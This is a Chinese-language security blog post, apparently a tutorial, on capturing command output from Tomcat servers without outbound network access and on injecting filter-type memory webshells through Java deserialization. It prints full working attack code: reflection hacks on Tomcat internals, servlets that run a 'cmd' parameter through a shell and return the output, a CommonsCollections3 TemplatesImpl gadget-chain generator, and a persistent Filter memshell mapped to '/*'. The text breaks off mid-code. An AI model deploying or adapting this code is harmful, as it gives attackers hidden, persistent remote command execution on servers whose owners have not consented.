背景引入 多适用于对方机器不出网,无法弹 shell 的情况,用来获取命令执行的结果。如果是能够解析 JSP 的中间件就很好利用,落地一个 JSP 进行一个 Request 和 Response 的获取就好,但是如果像是 Spring 种,考虑反序列化或者其他能够达到代码执行的情况,注入内存马,并且获得回显就需要另辟蹊径。
总的思路还是获取到当前处理请求服务线程下的 Rquest 和 Response
ThreadLocal Response 回显 0x01 ThreadLocal 认识 首先介绍一下 ThreadLocal 在 java 中有一个问题被经常提起:线程安全的问题。这里所说的安全不是代码执行或者数据泄露那种安全,它是影响整个业务处理结果,以及处理效率的一个问题,属于开发的范畴。web 服务就是一个特别显著的例子,当我们服务器接收大量的请求时,后台的某一个关键变量,比如某一商品的货存量,有 n 个客户同时请求它的购买,并且每个客户购买的数量都不同。并且此后同时支付的现金,此时 n 个线程开始同时进行,货物数量的值是共享。 此时会因为没有线程隔离以及线程保护,导致每个客户都购买了相同数量的货物,并不是自己想要的货物。 如何解决这个问题呢? ThreadLocal 就是用来解决这个问题的,它的作用就是在多线程请求的情况下,维护好每一个单一线程的变量,避免因多线程操作而导致共享数据不一致的情况。 具体的代码示例就不写了,理解就行
0x02 思路分析及具体代码执行内容 回到 ThreadLocal 获取当前进程下的 request 和 repsonse 的内容: 思路来自 Kingkk 师傅,不论是在 Springboot 还是 javaweb 等项目中,filter servlet listener 始终是一种设计思想,他们都是会存在的,并且 ApplicationFilterChain 这一路的责任链机制依然存在。我们观察到在他的属性值变量中存在两种变量lastServicedRequest
以及lastServicedResponse
,并且他们的类型都是 ThreadLocal 类型 在 ApplicationFilterChain 初始化的情况下它们并不会有所赋值,但是我们跟进其中责任链实现逻辑中 internalDofilter 的部分,当我们从filterCofigs 中读取完所有的 filterConfig 配置,并且走完它们的所有逻辑之后,也就是 if(pos < n)
不会满足判断条件,来到之后的 Trycatch 块中 他首先就是if (ApplicationDispatcher.WRAP_SAME_OBJECT)
判断,然后开始对 lastServicedRequest
以及lastServicedResponse
都进行一段赋值操作,这里所赋的值,就是我们想要获取到的 response 以及 request 这里两段判断条件都是一样的,也就是ApplicationDispatcher.WRAP_SAME_OBJECT
必须不为空 所以我们可以总结出利用思路:
反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT
为 ture
然而上条逻辑的执行依赖于当前线程,也就是说此时能够代码执行到这里的时候,责任链机制已经过了一遍,我们此时还是没有进入后续的 set 逻辑,只能再访问一遍,再走一遍责任链机制才可以。所以后续的逻辑还应该加上:lastServicedRequest
和lastServicedResponse
都初始化并且为 null (相当于把 ApplicationFilterChain 的 static 代码块走了一遍)
lastServicedRequest
和lastServicedResponse
,以及 ApplicationDispatcher.WRAP_SAME_OBJECT
变量都是final 修饰,也就是不可修改的定值,这对于我们反序列化打入内存马非常不利,所以我们还需要通过反射修改其 final 属性
上述利用存在两个个利用条件: 一是 JDK 在 17 版本之后不能够通过反射去修改 final 属性值。也就是在 Springboot3 或者 Spring6 这种内置要求 JDK17 版本之后的服务都不能通过这种方式打入内存马 二是 tomcat10.1.x 之后的版本(也就是 Springboot3 要求的版本),判断条件也发生了变化 所以利用场景限制于 Tomcat<10 ,JDK<17 的情况,具体一点就是 Springboot2,spring5,以及版本符合条件的 javaweb 环境等(高版本有高版本的方法,之后再写) 接下来开始具体的代码构造,考虑之后的结合反序列化打入内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.stoocea.example.Servlets;import org.apache.catalina.core.ApplicationFilterChain;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.swing.plaf.synth.SynthRadioButtonMenuItemUI;import java.io.FileDescriptor;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/evil") public class Evil_Servlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Field WRAP_SOME_OBJECT_FIELD=Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequestfield=ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); Field lastServicedResponsefield=ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); WRAP_SOME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestfield.setAccessible(true ); lastServicedResponsefield.setAccessible(true ); java.lang.reflect.Field modifiersfield= Field.class.getDeclaredField("modifiers" ); modifiersfield.setAccessible(true ); modifiersfield.setInt(WRAP_SOME_OBJECT_FIELD,WRAP_SOME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersfield.setInt(lastServicedRequestfield,lastServicedRequestfield.getModifiers() & ~Modifier.FINAL); modifiersfield.setInt(lastServicedResponsefield,lastServicedResponsefield.getModifiers() & ~Modifier.FINAL); if (!WRAP_SOME_OBJECT_FIELD.getBoolean(null )){ WRAP_SOME_OBJECT_FIELD.setBoolean(null ,true ); lastServicedResponsefield.set(null ,new ThreadLocal <ServletResponse>()); lastServicedRequestfield.set(null ,new ThreadLocal <ServletRequest>()); }else { ThreadLocal<ServletRequest> threadLocalReq= (ThreadLocal<ServletRequest>)lastServicedRequestfield.get(null ); ThreadLocal<ServletResponse> threadLocalResp=(ThreadLocal<ServletResponse>) lastServicedResponsefield.get(null ); ServletRequest servletRequest = threadLocalReq.get(); ServletResponse servletResponse = threadLocalResp.get(); System.out.println(req); System.out.println(servletRequest); } } catch (Exception e){ e.printStackTrace(); } } }
然后我们两次访问 evil 路由,在第二次调试进入逻辑: req 是 doGet 方法的参数里面的 req,也就是我们当前进程下的 Request。然后我们自己获取到的 servletRequest 获取到之后是相同的
0x03 总结 整体的思路是建立在无文件,反序列化打入内存马的基础上进行的,所以还需要考虑反序列化本身的条件。这里提一嘴 Shiro 的问题,我之前复习分析 Filter 型内存马的时候,无意中由于自己打入了 shiro 的依赖,导致 filter 链的流程和常规的 tomcat 构建流程不太一样,那个时候我还提了一嘴调用栈: shiro 本质就是一层 filter,所以它是在 if (pos < n)
中执行完自己的逻辑了,后面的 lastServiceRequest.set(request)就执行不到了,所以我们就获取不到当前线程的 request 和 reponse 当然有时候也不一定要局限于打 shiro 的反序列化,只要你的反序列化逻辑在责任链机制走完之后,都能够利用。 但是这里留了一个伏笔,我们必须访问两次指定路由才能够真正获取到 ServletRequest,那么在反序列化的时候该如何实现呢?这里其实可以延伸出无文件落地内存马的一个总的思想,我们后面总结再谈。
全局存储 Response 0x01 初步思路建立 想要一个能够适应大多数情况的 response 和 request 获取思路。我们从一次处理 servlet 容器处理 web 请求的调用栈入手,肯定有一个地方是最开始处理 request 和 repsonse,并且将他们当作参数传入的下一调用栈的地方。 调用栈最开始的一次出现传递 request 和 response 的地方的是在 Http11Processor 的 service 方法中。虽然配图只给了这么一段,但实际上面大部分的逻辑都是直接处理 Request 和 Response ,一直到这里传递给下一条调用栈。其实这个时候就可以入手去寻找 request 和 response 了request
和 response
参数来自它的父类传参–AbstractProcessor
,既然是他的父类传递的值,那么父类AbstractProcessor
肯定被调用了。但是我们在调用栈中并没有找到AbstractProcessor
的具体调用,观察上一级调用栈,是 AbstractProcessorLight,他其实是AbstractProcessor和Http11Processor 共同父类,只不过 Http11Processor 是继承自AbstractProcessor 才继承于 AbstractProcessorLight 关键是获取 AbstractProcessor,但是由于前面其实没有直接对于AbstractProcessor 的引用,这里我们获取到 Http11Processor 是一样的效果,也能获取到Request 和 Response 那么如何获取到 Http11Processor 呢?这里我们可以在任意 servlet 或者 controller 处打个断点(两者处的调用栈大差不差)然后观察一下(看上面的调用栈就行)在AbstractProcessorLight
调用到 Http11 Processor 之前,由ConnectionHandler
调用 process 方法中有如下逻辑: 两次判断 processor 是否为空,第一次是在判断之后执行的逻辑是判断我们否加载过 processor,如果有就直接给他加载出来不用后续的加载了。第二次判断是如果我们本次请求中没有加载过 processor 就从 AbstractProtocol 中调用createProcessor()
方法来创建 Http11Processor 这里知道 Http11Processor 创建的过程还不够,我们还无法通过自己的代码执行去获取到 Http11Processor,只能再往下看 然后调用 register 方法,主要是从中获取一些请求信息(包括我们的 request),并封装存储起来 大致逻辑分为两个部分:
获取 Processor 中封装的 request 信息,存储为 RequestInfo
然后将当此的 RequestInfo set 进 global 属性,这里的 global 属性实际上就是 RequestGroupInfo,用来存储这些获取到的RequestInfo
最终产生的效果如下: 实际上到这我们又找到了一份新的用来存储 req 的地方,就是 ConnectionHandler 的 global 属性,所以可以转变一下思路,获取到这个 global 属性,进而获取到 request 又由于ConnectionHandler是 AbstractProtocol 的子类,我们可以先确定一手能否通过 AbstractProtocol 获取到 ConnectionHandler 跟进到AbstractProtocol 的构造方法,发现 ConnectionHandler 的构造实例化之后,然后调用 setHandler 方法将其 set 存入this.handler
属性值,所以必然有 getHandler 方法获取到 handler 所以现在思路后半段就可以通过反射调用AbstractProtocol.getHandler
获取到 ConnectionHandler,再反射获取到 global 那么现在如何获取到AbstractProtocol?下面的思路就是从 首先是 AbstractProtocol 的继承关系 我们如果能够获取到其中一个具体继承的子类,那么就能够获取到 AbstractProtocol。后续的内容其实回顾一下 Tomcat 的架构比较好,但是这里就不讲了,我们直接讲思路。
0x02 思路梳理和总结 配合正常调用栈来讲 以蓝线为界,CoyoteAdapter 之后的逻辑就是 Tomcat 中 Container 的具体处理那一套了,包括 Valve 和责任链等等 CoyoteAdapter 作为 Tomcat 中 Connector 和 Container 的连接桥梁,本身肯定是会内置 Connector 的具体实现对象的,而 Connector 中的内容我们又可以划分为 ProtocolHandler 和 Adapter 两类,这里的 Adapter 就是CoyoteAdapter了。至于 ProtocolHandler,如果是正常的 Http/1.1 的请求,内置的具体实现就是 Http11NioProtocol。 所以只要我们发送了一次 Http 请求,就能够通过 Connector 获取到 Http11NioProtocol。现在问题是如何获取到 Connctor?还是按照 Tomcat 的架构来,一个大的 server 具体是由每一个小的 service 去实现的,而一个 service 中又由 connector 和 container 组成。就可以考虑通过 service 去获取 connector。 实际上就是获取 StandardService 的 connectors 内置属性,具体的话就是 StandardSercvice 在 addconnector 的时候,最终将所有的 connector 都存进了 connectors 属性中(所以我们还要遍历它) 到这是最后一个问题,如何获取到 StandardService?这里就涉及到 Tomcat 的一个加载问题。简单来说就是,Tomcat 中有多个 web 容器,但是有可能会出现一个 web 容器中加载了 CC 的 3.1 依赖,但是另一个容器加载了 CC 的 3.2 依赖,全类名相同的情况下就会出现加载问题,所以 Tomcat 中一般内置一种 ClassLoader,用来隔离 web 容器中的类加载工作–WebappClassLoader
, 而 Thread 类中有 getContextClassLoader()
以及 setContextClassLoader()
方法 ,主要作用对象就是 WebappClassLoader(有些框架可能就不同,但实际上还是继承自 WebappClassLoaderBase 的其他 loader),所以我们能够通过 Thread.currentThread().getContextClassLoader()方法获取到 WebappClassLoader。 再观察一下 WebappClassLoaderBase 中的一些属性,我们能够通过其 getResources 方法获取到 StandardRoot 然后就能通过 standardRoot.getContext 获取到 standardContext(standardContext 的某些功能就是通过 standardRoot 实现的),之后一类反射获取容器高一级管理:standardContext->ApplicationContext->standardService
总结一下整体思路:
通过 WebappClassLoader->standardRoot->standardRoot->standardContext->ApplicationContext->standardService
通过 service 获取到大 Connector
再通过大 Connctor 获取到ProtocolHandler,具体的话就是Http11NioProtocol
又因为Http11NioProtocol 是AbstractProtocol 的子类,所以我们能够通过Http11NioProtocol 去获取到 AbstractProtocol
最后通过AbstractProtocol 获取到 内置的子类 ConnectionHandler,进而从它的属性值 global 中获取到 requestInfo 中封装的 request
0x03 代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 package com.stoocea.example.Servlets;import java.lang.reflect.Method;import java.util.Scanner;import org.apache.catalina.Context;import org.apache.catalina.WebResourceRoot;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.*;import org.apache.tomcat.util.net.AbstractEndpoint;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Scanner;@WebServlet("/evil2") public class Evil_Servlet2 extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase" ).getDeclaredField("resources" ); webappclassLoaderBaseField.setAccessible(true ); WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase); Context Context = resources.getContext(); Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext applicationContext=(ApplicationContext) context.get(Context); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService=(StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors=(Connector[])connectorsField.get(standardService); for (Connector connector: connectors ) { if (connector.getScheme().contains("http" )){ AbstractProtocol abstractProtocol=(AbstractProtocol) connector.getProtocolHandler(); Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredMethod("getHandler" ); getHandler.setAccessible(true ); AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol); Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalField.setAccessible(true ); RequestGroupInfo global=(RequestGroupInfo) globalField.get(connectionhandler); Field processorField=Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorField.setAccessible(true ); ArrayList processors=(ArrayList) processorField.get(global); for (Object processor: processors){ RequestInfo requestInfo = (RequestInfo) processor; if (requestInfo.getCurrentQueryString().contains("cmd" )){ Field reqfield=Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); reqfield.setAccessible(true ); Request request=(Request) reqfield.get(requestInfo); org.apache.catalina.connector.Request currentreq=(org.apache.catalina.connector.Request) request.getNote(1 ); String cmd=currentreq.getParameter("cmd" ); if (cmd!=null ){ String cmds[]=null ; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ cmds=new String []{"cmd" ,"/c" ,cmd}; }else { cmds=new String []{"/bin/bash" ,"-c" ,cmd}; } InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner=new Scanner (inputStream).useDelimiter("//A" ); String output = scanner.hasNext()? scanner.next(): "" ; PrintWriter writer=currentreq.getResponse().getWriter(); writer.write(output); writer.flush(); writer.close(); break ; } } } } } }catch (Exception e){ e.printStackTrace(); } } }
0x04 总结 第一次去利用的时候发现,WebappclassLoader 的 getResources()方法,早在 8.5.78 的版本就被标价为了@Deprecated
,直接就 return null 了,然后在 10.x 版本就直接移除了该方法,我不清楚服务器上的 Tomcat 源码如何,我个人用 idea 启动项目的话,也是直接 return null 的,所以导致构造失败。 如何解决这个问题呢?我这里采取的方法是利用反射将 Resources 取出来就好了,它本身 setResources 方法是没有被换掉的,所以还是会有赋值,其属性值还是会存在内存中。 所以在我看来,这个利用还是能够通杀很多版本的,不过就是需要这么点技巧,可能会在师傅们本地测试的卡一下。 然后是总结一下这个方法的思路:
从 Tomcat 启动,到我们开始访问路由发送 http 请求开始,一整个调用栈的基础上进行的分析
首先是在Http11Processor
的基础上,我们发现了第一次对于 request 和 reponse 参数的处理以及传递,所以开始定位寻找他们。
之后发现在Http11Processor
的父类AbstractProcessor
中发现了它两的定义。这样就好办了,即使我们找不到AbstractProcessor
的定义,但是我们依然能够直接通过Http11Processor
反射间接获取到 request 和 response
之后我们分析到在AbstractProtocol#ConnectorHandler
中进行了 Processor 的注册 registry,也就是说只要我们之前发送过一次,或者在当此请求中发送过 http1/1 请求,就会将Http11Processor
注册进ConnectorHandler
的属性值 global,所以获取到ConnectorHandler
就能够获取到Http11Processor
。获取到ConnectorHandler
就需要获取到AbstractProtocol
然后我们从 Tomcat 的整体架构入手,Connector 组件本身内置 ProtocolHandler 以及 Adopter,这里的 ProtocolHandler 就是AbstractProtocol
了。所以我们又可以通过 StandService(Service 由 Connector 和 container 组成)的属性值connectors
循环遍历到关于 Http11 的 connector,也就能够获取到我们想要的AbstractProtocol
了。
反序列化打入内存马 环境测试 反序列化打入其实包括一切实战情况下,我们能够进行 Java 任意代码执行时,就能够尝试打入内存马,这里只是以最常见的反序列化执行 Java 代码作为学习。 并且思路其实也没那么难,甚至可以说我们只要将之前的东西进行一段段的拼接就行。 假设我们存在如下的反序列化攻击点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.util.Base64;@WebServlet("/Vuln") public class vulnServlet extends HttpServlet { @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { byte [] bytes= Base64.getDecoder().decode(req.getParameter("data" )); ByteArrayInputStream BAIS=new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream=new ObjectInputStream (BAIS); try { System.out.println(objectInputStream.readObject()); }catch (Exception e){ e.printStackTrace(); } } }
这个时候我们就构造一份 CC3 作为 sink 点,以 HashMap 起手的链子 generate 出的序列化数据来打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.net.URLEncoder;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CC3Re0 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");" ); byte [] bytes = ctClass.toBytecode(); Field bytecodesField=tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code= bytes; byte [][] codes={code};为空,不然会爆空调用的错误 bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); Transformer[] transformer=new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapeEntry=new TiedMapEntry (lazymap,"aaa" ); HashMap<Object,Object> hashMap= new HashMap <>(); hashMap.put(tiedMapeEntry,"bbb" ); lazymap.remove("aaa" ); Class c=LazyMap.class; Field factoryField=c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream=Serial(hashMap); String payload= Base64Encode(byteArrayOutputStream); byte [] bytes2= Base64.getDecoder().decode(payload); } private static ByteArrayOutputStream Serial (Map hashMap) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (bs); out.writeObject(hashMap); return bs; } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(URLEncoder.encode(s)); System.out.println(s.length()); return s; } }
其实这个时候就能够想到往哪赛我们的内存马构造逻辑了—恶意类的静态代码块中。
具体构造 bro 最开始想的是 javassist 写进去,不过属实想多了,有些方法的调用存在导包等操作,也不在乎那点 payload 长度了,要真遇到万不得已打内存马并且还有 payload 长度限制的情况,就对目标使用线程名写入 payload 的方法吧( 首先明确我们要利用的是基于类初始化,调用静态代码块的攻击链,最经典的就是 CC3 的 TemplatesImpl 链,将内置的 bytescode 设置为我们构造好的恶意类即可。 那么恶意类怎么写呢?这里以更加泛用的全局存储获取 request 的思路为例子,注入 filter 型内存马,并获取回显 首先是恶意类,思路就是给他一步到位,同时完成AbstractTranslet
的继承(TemplatesImpl 链必要条件),以及 Filter 接口的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 package org.New.shellfilter;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Context;import org.apache.catalina.WebResourceRoot;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.Request;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import org.apache.tomcat.util.net.AbstractEndpoint;import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;public class Filtermemshell extends AbstractTranslet implements Filter { static { org.apache.catalina.connector.Request currentreq=null ; try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase" ).getDeclaredField("resources" ); webappclassLoaderBaseField.setAccessible(true ); WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase); Context Context = resources.getContext(); Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext applicationContext=(ApplicationContext) context.get(Context); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService=(StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors=(Connector[])connectorsField.get(standardService); for (Connector connector: connectors ) { if (connector.getScheme().contains("http" )){ AbstractProtocol abstractProtocol=(AbstractProtocol) connector.getProtocolHandler(); Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredMethod("getHandler" ); getHandler.setAccessible(true ); AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol); Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalField.setAccessible(true ); RequestGroupInfo global=(RequestGroupInfo) globalField.get(connectionhandler); Field processorField=Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorField.setAccessible(true ); ArrayList processors=(ArrayList) processorField.get(global); for (Object processor: processors){ RequestInfo requestInfo = (RequestInfo) processor; if (requestInfo.getCurrentQueryString().contains("cmd" )){ Field reqfield=Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); reqfield.setAccessible(true ); Request request=(Request) reqfield.get(requestInfo); currentreq=(org.apache.catalina.connector.Request) request.getNote(1 ); break ; } } } } ServletContext servletContext=(ServletContext) currentreq.getServletContext(); java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext2 = (ApplicationContext) appContextField.get(servletContext); java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext2); Filtermemshell filter=new Filtermemshell (); String name="shellfilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap=new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); java.lang.reflect.Field configsField=standardContext.getClass().getDeclaredField("filterConfigs" ); configsField.setAccessible(true ); java.util.Map filterconfigs=(java.util.Map)configsField.get(standardContext); java.lang.reflect.Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig=(ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterconfigs.put(name, filterConfig); }catch (Exception e){ e.printStackTrace(); } } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); java.util.Scanner scanner = new java .util.Scanner(in).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (Exception e){ e.printStackTrace(); } chain.doFilter(request, response); } } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void destroy () { } }
然后将上面这块的字节码塞入 TemplatesImpl 的 bytes 中,用于最后的 defineClass 进行字节码加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package org.New;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.net.URLEncoder;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CC3Re0 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); byte [] bytes= 